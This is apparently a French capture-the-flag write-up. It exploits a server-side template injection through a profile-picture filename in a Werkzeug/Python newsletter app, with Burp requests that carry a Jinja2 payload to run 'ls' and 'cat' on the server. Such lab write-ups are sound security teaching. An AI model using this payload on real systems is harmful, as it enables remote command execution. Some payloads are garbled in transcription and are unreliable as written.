

## Writeup

## 1- L'application tourne avec Werkzeug et python

```

- ./whatweb http://217.21.78.128:60807/
Ignoring stringio-3.0.6 because its extensions are not built. Try: gem pristine stringio --version 3.0.6
Ignoring ffi-1.15.5 because its extensions are not built. Try: gem pristine ffi --version 1.15.5
Ignoring json-2.7.1 because its extensions are not built. Try: gem pristine json --version 2.7.1
Ignoring racc-1.7.3 because its extensions are not built. Try: gem pristine racc --version 1.7.3
Ignoring yajl-ruby-1.4.3 because its extensions are not built. Try: gem pristine yajl-ruby --version 1.4.3
[217.21.78.128:60807] [302 Found] Country[UNITED KINGDOM][gb], HTML5, HTTPServer[Werkzeug/2.2.2 Python/3.9.20], IP[217.21.78.128], Python[3.9.20], RedirectLocation[/login], Title[Redirecting...], Werkzeug[2.2.2]
[217.21.78.128:60807/login] [200 OK] Country[UNITED KINGDOM][gb], HTML5, HTTPServer[Werkzeug/2.2.2 Python/3.9.20], IP[217.21.78.128], PasswordField[password], Python[3.9.20], Title[login - Newsletter], Werkzeug[2.2.2]

```

- 2- Dans l'énoncé du challenge, il est précisé le mot Template. La vulnérabilité courante avec Werkzeug c'est le SSTI (Server Side Template Injection). Encore fallait – il avoir le bon vecteur d'attaque. Le bon vecteur d'attaque est le nom du fichier de la photo de profile. Cela est confirmé par le payload `{{7*7}}` comme nom du fichier qui donne 49 au rendu sur la page.

```
1 POST /profile HTTP/1.1
2 Host: 217.21.78.128:6007
3 Content-Length: 202
4 Cache-Control: max-age=0
5 Accept-Language: fr-FR,fr;q=0.9
6 Origin: http://217.21.78.128:6007
7 Content-Type: multipart/form-data; boundary=-----WebKitFormBoundaryH9DJf12uM8Dsvk8U
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
10 Accept: text/html,application/xhtml+xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11 Referer: http://217.21.78.128:6007/profile
12 Accept-Encoding: gzip, deflate, br
13 Cookie: session=opLp0qP6C6Int7Myo3jXlAYm9JLwVb5j9.ZBuPwQ.Nu1Iqif-ced6l0KkjPpLA6n6J3E
14 Connection: keep-alive
15
16 -----WebKitFormBoundaryH9DJf12uM8Dsvk8U
17 Content-Disposition: form-data; name="profile_pic"; filename="{{?7?}}"
18 Content-Type: application/octet-stream
19
20 -----WebKitFormBoundaryH9DJf12uM8Dsvk8U-----
21
22
```

Response

```
1 <!>
2
3 Welcome, -1
4
5 </h1>
6
7 Email: {{?7?}}@bob.com
8
9 </p>
10
11 Your subscription plan: ${{&lt;%{&#39;6#34;}}%\
12
13 </p>
14
15 <div class="profile-pic">
16   
17   <p class="pic-name">
18     49
19   </p>
20 </div>
21
22
23
24 <form method="POST" enctype="multipart/form-data">
25   <label for="profile_pic">
26     Upload Profile Picture:
27   </label>
```

- 3- Une fois le vecteur trouvé, j'ai utilisé le payload suivant pour exécuter des commandes en invoquant les modules nécessaires :
- ```
{{request['application']}['__globals__']['__builtins__']['__import__']('os')['popen']('ls')['read']()}}
```

Dashboard Target Proxy Intruder **Repeater** Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn JOSEPH

1 x +

Send Cancel < >

Target: http://217.21.78.128:6007 HTTP/1

**Request**

Pretty Raw Hex

```
1 POST /profile HTTP/1.1
2 Host: 217.21.78.128:6007
3 Content-Length: 297
4 Cache-Control: max-age=0
5 Accept-Language: fr-fr,fr;q=0.9
6 Origin: http://217.21.78.128:6007
7 Content-Type: multipart/form-data; boundary=-----WebKitFormBoundaryH90Jf12uMB0svkBU
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11 Referer: http://217.21.78.128:6007/profile
12 Accept-Encoding: gzip, deflate, br
13 Cookie: sessioneyJlbWFPbC1lbnR5b3RlYm91LnV5Sj9uZ0p0Q0Na1lq1f-ced610NKqPIA0n613E
14 Connection: keep-alive
15
16 -----WebKitFormBoundaryH90Jf12uMB0svkBU
17 Content-Disposition: form-data; name="profile_pic"; filename="{{request['application']|'__globals__'|'__builtins__'|'__import__'|'os'|'popen'|'ls'|'read'|'()}}}"
18 Content-Type: application/octet-stream
19
20 -----WebKitFormBoundaryH90Jf12uMB0svkBU--
```

Inspector

Request attributes 2

Request query parameters 0

Request body parameters 1

Request cookies 1

Request headers 13

Response headers 6

**Response**

Pretty Raw Hex **Render**

Done 1,609 bytes | 171 millis

Event log All issues Memory: 159.5MB

Le fichier flag est cringyflag, un cat de ce fichier me donne le flag

Dashboard Target Proxy Intruder **Repeater** Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn JOSEPH

1 x +

Send Cancel < >

Target: http://217.21.78.128:6007 HTTP/1

**Request**

Pretty Raw Hex

```
1 POST /profile HTTP/1.1
2 Host: 217.21.78.128:6007
3 Content-Length: 309
4 Cache-Control: max-age=0
5 Accept-Language: fr-fr,fr;q=0.9
6 Origin: http://217.21.78.128:6007
7 Content-Type: multipart/form-data; boundary=-----WebKitFormBoundaryH90Jf12uMB0svkBU
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11 Referer: http://217.21.78.128:6007/profile
12 Accept-Encoding: gzip, deflate, br
13 Cookie: sessioneyJlbWFPbC1lbnR5b3RlYm91LnV5Sj9uZ0p0Q0Na1lq1f-ced610NKqPIA0n613E
14 Connection: keep-alive
15
16 -----WebKitFormBoundaryH90Jf12uMB0svkBU
17 Content-Disposition: form-data; name="profile_pic"; filename="{{request['application']|'__globals__'|'__builtins__'|'__import__'|'os'|'popen'|'cat cringyflag'|'read'|'()}}}"
18 Content-Type: application/octet-stream
19
20 -----WebKitFormBoundaryH90Jf12uMB0svkBU--
```

Inspector

Request attributes 2

Request query parameters 0

Request body parameters 1

Request cookies 1

Request headers 13

Response headers 6

**Response**

Pretty Raw Hex **Render**

Done 1,547 bytes | 173 millis

Event log All issues Memory: 183.5MB